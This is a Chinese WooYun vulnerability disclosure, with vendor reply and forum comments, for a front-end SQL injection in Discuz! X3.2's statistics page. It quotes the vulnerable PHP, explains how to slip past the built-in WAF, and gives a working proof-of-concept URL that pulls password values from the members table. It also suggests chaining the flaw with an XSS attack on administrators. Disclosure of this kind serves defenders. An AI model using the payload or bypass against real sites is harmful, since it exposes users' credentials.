当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-074970

漏洞标题:Discuz x3.2前台GET型SQL注入漏洞(绕过全局WAF)

相关厂商:Discuz!

漏洞作者: phith0n

提交时间:2014-09-04 10:15

修复时间:2014-12-03 10:16

公开时间:2014-12-03 10:16

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-04: 细节已通知厂商并且等待厂商处理中
2014-09-04: 厂商已经确认,细节仅向厂商公开
2014-09-07: 细节向第三方安全合作伙伴开放
2014-10-29: 细节向核心白帽子及相关领域专家公开
2014-11-08: 细节向普通白帽子公开
2014-11-18: 细节向实习白帽子公开
2014-12-03: 细节向公众公开

简要描述:

前台非盲注,只需要配合一个xss,就能消除鸡肋了。
信pandas,得永生,紧抱doggy哥大腿!

详细说明:

/source/include/misc/misc_stat.php 46行:

if(!empty($_GET['xml'])) {
$xaxis = '';
$graph = array();
$count = 1;
$begin = dgmdate($beginunixstr, 'Ymd');
$end = dgmdate($endunixstr, 'Ymd');
$field = '*';
if(!empty($_GET['merge'])) {
if(empty($_GET['types'])) {
$_GET['types'] = array_merge($cols['login'], $cols['forum'], $cols['tgroup'], $cols['home'], $cols['space']);
}
$field = 'daytime,`'.implode('`+`', $_GET['types']).'` AS statistic';
$type = 'statistic';
}
foreach(C::t('common_stat')->fetch_all($begin, $end, $field) as $value) {
$xaxis .= "<value xid='$count'>".substr($value['daytime'], 4, 4)."</value>";
if($type == 'all') {
foreach ($cols as $ck => $cvs) {
if($ck == 'login') {
$graph['login'] .= "<value xid='$count'>$value[login]</value>";
$graph['register'] .= "<value xid='$count'>$value[register]</value>";
} else {
$num = 0;
foreach ($cvs as $cvk) {
$num = $value[$cvk] + $num;
}
$graph[$ck] .= "<value xid='$count'>".$num."</value>";
}
}
} else {
//var_dump($value);exit;
if(empty($_GET['types']) || !empty($_GET['merge'])) {
$graph[$type] .= "<value xid='$count'>".$value[$type]."</value>";
} else {
foreach($_GET['types'] as $t) {
$graph[$t] .= "<value xid='$count'>".$value[$t]."</value>";
}
}
}
$count++;
}
$xml = '';
$xml .= '<'."?xml version=\"1.0\" encoding=\"utf-8\"?>";
$xml .= '<chart><xaxis>';
$xml .= $xaxis;
$xml .= "</xaxis><graphs>";
$count = 0;
foreach ($graph as $key => $value) {
$xml .= "<graph gid='$count' title='".diconv(lang('spacecp', "do_stat_$key"), CHARSET, 'utf8')."'>";
$xml .= $value;
$xml .= '</graph>';
$count++;
}
$xml .= '</graphs></chart>';
@header("Expires: -1");
@header("Cache-Control: no-store, private, post-check=0, pre-check=0, max-age=0", FALSE);
@header("Pragma: no-cache");
@header("Content-type: application/xml; charset=utf-8");
echo $xml;
exit();
}


见这一句:

$field = 'daytime,`'.implode('`+`', $_GET['types']).'` AS statistic';


将$_GET['type']数组直接用`+`分割,并没有过滤。
因为位置在$field的地方,并不在单引号中,所以不用引入单引号,也无需考虑addslashes。
现在遇到另一个问题,怎么绕过discuz3.2的WAF?
不绕过也没法出数据。
我们先看看输出点在何处:

http://localhost/bbs/misc.php?mod=stat&op=trend&xml=1&merge=1&types[1]=x


01.jpg


也就是说我们可以控制的部分有很多。
且不看全局防注入源码,黑盒试一下我发现一旦出现'、(就会拦截,而且注释符(#、--)也会拦截。
括号不能有,就特别拙计,因为很多盲注需要括号,子查询也需要括号,函数也需要括号,这里都不能用了。

SELECT daytime,`aaa` AS statistic FROM common_stat WHERE daytime>=20140805 AND daytime<=20140904 ORDER BY daytime


我们再看上述sql语句,发现我们可控的部分前面,还有个daytime。这就愁坏我了,因为我要查询的表是用户表,而用户表根本没这个字段。

02.jpg


执行会提示Unknown column 'daytime' in 'field list'。
所以,我们可以利用mysql的特性,一次查询两个表,将pre_ucenter_members的数据连带着查询出来:

03.jpg


大家可以看到,已经不报错了。因为pre_common_statuser表中存在`daytime`这个列。而且这个表中也有uid这个列,正好可以作为pre_ucenter_members的筛选项。
那么,有的同学再问,sql语句后半部分

` AS statistic FROM common_stat WHERE daytime>=20140805 AND daytime<=20140904 ORDER BY daytime


没有注释符怎么处理?
这里有个巧合,在某些情况下,`能作为注释符用。因为mysql会自动给sql语句结尾没有闭合的`闭合掉,这样,只要让mysql人为后面那一大串字符是一个字段的“别名”即可。
所以,先构造一个url:

http://localhost/bbs/misc.php?mod=stat&op=trend&xml=1&merge=1&types[1]=password`as%20daytime%20from%20pre_common_statuser,pre_ucenter_members%20as


04.jpg


可以看到已经出数据了。但发现出来的数据只有4位。
原因是,在源码中使用了substr取了daytime的第4到8位:

$xaxis .= "<value xid='$count'>".substr($value['daytime'], 4, 4)."</value>";


我们看下有没其他的输出点。于是找到了一个:

if(empty($_GET['types']) || !empty($_GET['merge'])) {
$graph[$type] .= "<value xid='$count'>".$value[$type]."</value>";
}


这个if语句,其中$type为statistic,而将$value[$type]的值输出了。所以,我只需将password取个别名叫statistic,就能输出password了。
那么,最后的poc就是:

http://localhost/bbs/misc.php?mod=stat&op=trend&xml=1&merge=1&types[1]=password`as%20statistic%20from%20pre_common_statuser,pre_ucenter_members%20as


本地测试效果:

05.jpg


这个漏洞鸡肋之处在于,虽然它是一个前台的注入(无需登录后台),但是却需要管理员权限。
所以,利用方法就是找到一个前台xss,管理员(前台管理)访问以后用javascript获得访问到的页面内容,即可获得注入出的信息。使鸡肋漏洞变得不再鸡肋。
或者利用某些浏览器的跨域漏洞,也能注入。

漏洞证明:

http://target/misc.php?mod=stat&op=trend&xml=1&merge=1&types[1]=password`as%20statistic%20from%20pre_common_statuser,pre_ucenter_members%20as


05.jpg


修复方案:

过滤。

版权声明:转载请注明来源 phith0n@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-09-04 10:29

厂商回复:

感谢您提出的问题,我们会尽快处理

最新状态:

暂无


漏洞评价:

评论

  1. 2014-09-04 10:17 | 切克脑 ( 实习白帽子 | Rank:31 漏洞数:9 | z..)

    前排广告出租

  2. 2014-09-04 10:29 | 泳少 ( 普通白帽子 | Rank:231 漏洞数:79 | ★ 梦想这条路踏上了,跪着也要...)

    前排围观

  3. 2014-09-04 10:30 | 疯子 ( 普通白帽子 | Rank:242 漏洞数:42 | 世人笑我太疯癫,我笑世人看不穿~)

    要结合XSS估计猜到什么点!膜拜洞主!

  4. 2014-09-04 10:33 | pandas ( 普通白帽子 | Rank:585 漏洞数:58 | 国家一级保护动物)

    草,信哥得永生?

  5. 2014-09-04 10:40 | 索马里的海贼 ( 普通白帽子 | Rank:254 漏洞数:24 | http://tieba.baidu.com/f?kw=WOW)

    还在前排。。。。

  6. 2014-09-04 10:49 | do9gy ( 实习白帽子 | Rank:61 漏洞数:15 | Dog loves God。)

    doggy哥来了

  7. 2014-09-04 14:55 | BadCat ( 实习白帽子 | Rank:81 漏洞数:21 | 悲剧的我什么都不会)

    前排围观新的DZ漏洞

  8. 2014-09-04 18:11 | cold ( 路人 | Rank:2 漏洞数:2 | 生命不息,折腾不止。)

    前排围观新的DZ漏洞

  9. 2014-09-04 18:44 | kav ( 路人 | Rank:0 漏洞数:3 )

    前排围观新的DZ漏洞

  10. 2014-09-04 19:16 | Stardustsky ( 路人 | Rank:4 漏洞数:3 | ……)

    前排围观新的DZ漏洞

  11. 2014-09-04 20:04 | phith0n 认证白帽子 ( 核心白帽子 | Rank:656 漏洞数:107 | 一个想当文人的黑客~)

    @pandas 去,不是你,是我狗哥~~

  12. 2014-09-05 08:05 | magerx ( 普通白帽子 | Rank:257 漏洞数:45 | 别说话。)

    mark

  13. 2014-09-05 09:34 | 落月 ( 路人 | Rank:0 漏洞数:2 | 落月,关注网络安全;关注黑帽劫持;)

    dz也这么不安全了。

  14. 2014-09-05 23:03 | 西西 ( 路人 | Rank:14 漏洞数:7 | 走过路过不会错过!)

    前排围观新的DZ漏洞

  15. 2014-09-07 23:31 | 屎蛋 ( 路人 | Rank:8 漏洞数:2 | boom)

  16. 2014-09-08 08:30 | pigzhu ( 路人 | Rank:4 漏洞数:4 | 网络共享!)

    你是DZ派来的救兵吗?

  17. 2014-09-09 16:11 | Hmily ( 路人 | 还没有发布任何漏洞 | 吾爱破解论坛)

    http://www.discuz.net/thread-3598151-1-1.html 官方又在偷偷更新不写日志?

  18. 2014-09-09 23:33 | Suner ( 路人 | Rank:21 漏洞数:2 | 洞次打次)

    @Hmily 一有人提交DZ相关的,H大就会出现...

  19. 2014-09-10 22:12 | Mr.Lonely ( 路人 | Rank:0 漏洞数:1 | 努力成为一个有用的人。)

    前排围观新的DZ漏洞

  20. 2014-09-12 22:51 | 默秒全 ( 路人 | Rank:2 漏洞数:3 | a....)

    卧槽三个$$$ 最近dz好不安全啊

  21. 2014-09-13 22:45 | MckBug ( 路人 | Rank:2 漏洞数:3 | 无影响厂商忽略)

    前排围观新的DZ漏洞

  22. 2014-09-24 21:06 | Matt 认证白帽子 ( 普通白帽子 | Rank:523 漏洞数:107 | 承接代码审计 http://codescan.cn/)

    只能爆最后一个用户么 不能指定ID啊

  23. 2014-10-19 13:37 | Matt 认证白帽子 ( 普通白帽子 | Rank:523 漏洞数:107 | 承接代码审计 http://codescan.cn/)

    @Matt 你懂个jb

  24. 2014-10-19 13:38 | phith0n 认证白帽子 ( 核心白帽子 | Rank:656 漏洞数:107 | 一个想当文人的黑客~)

    @Matt ……>.<

  25. 2014-10-24 16:05 | nzk1912 ( 实习白帽子 | Rank:41 漏洞数:10 | 软件开发8年了,也来挖挖漏洞,为创建安全...)

    哥,我试了下,为啥我这反引号不自动闭合啊?用你的URL测试,还是提示SQL异常啊,我的mysql是5.6.21版本。 linux平台。

  26. 2014-10-24 16:08 | phith0n 认证白帽子 ( 核心白帽子 | Rank:656 漏洞数:107 | 一个想当文人的黑客~)

    @nzk1912 版本高了就不行了

  27. 2014-10-24 16:14 | nzk1912 ( 实习白帽子 | Rank:41 漏洞数:10 | 软件开发8年了,也来挖挖漏洞,为创建安全...)

    @phith0n mysql还是dz?我看了dz的修复方法,我已经把PHP代码改回和你的一样了~

  28. 2014-10-24 16:17 | 风花雪月 ( 实习白帽子 | Rank:55 漏洞数:44 | []+[]|[]-[][][][][]%[][]|[]\[]%[][]|[]\[...)

    只限于可查看数据统计的用户权限以上,感觉有种蛋蛋的忧伤

  29. 2014-10-24 16:19 | phith0n 认证白帽子 ( 核心白帽子 | Rank:656 漏洞数:107 | 一个想当文人的黑客~)

    @nzk1912 mysql版本不能太高

  30. 2014-10-24 16:24 | nzk1912 ( 实习白帽子 | Rank:41 漏洞数:10 | 软件开发8年了,也来挖挖漏洞,为创建安全...)

    @phith0n 额~好吧~貌似x3.2的洞不多啊~不知道是代码质量好~还是找洞没动力啊

  31. 2014-10-24 16:30 | nzk1912 ( 实习白帽子 | Rank:41 漏洞数:10 | 软件开发8年了,也来挖挖漏洞,为创建安全...)

    @phith0n 突然发现,这个是 $$$ 啊~告诉我下,大约多少奖金啊?(可私信),我膜拜下

  32. 2014-12-03 23:15 | Murk Emissary ( 实习白帽子 | Rank:74 漏洞数:14 | 低调做人 低调行事)

    @nzk1912 一万多奖金吧

  33. 2014-12-04 15:07 | 落月 ( 路人 | Rank:0 漏洞数:2 | 落月,关注网络安全;关注黑帽劫持;)

    是够鸡肋的,前台管理员还真不好找、

  34. 2015-06-06 10:00 | 炊烟 ( 普通白帽子 | Rank:238 漏洞数:44 | 每一天都需要努力。)

    @phith0n 不能指定id。。怎么破 QAQ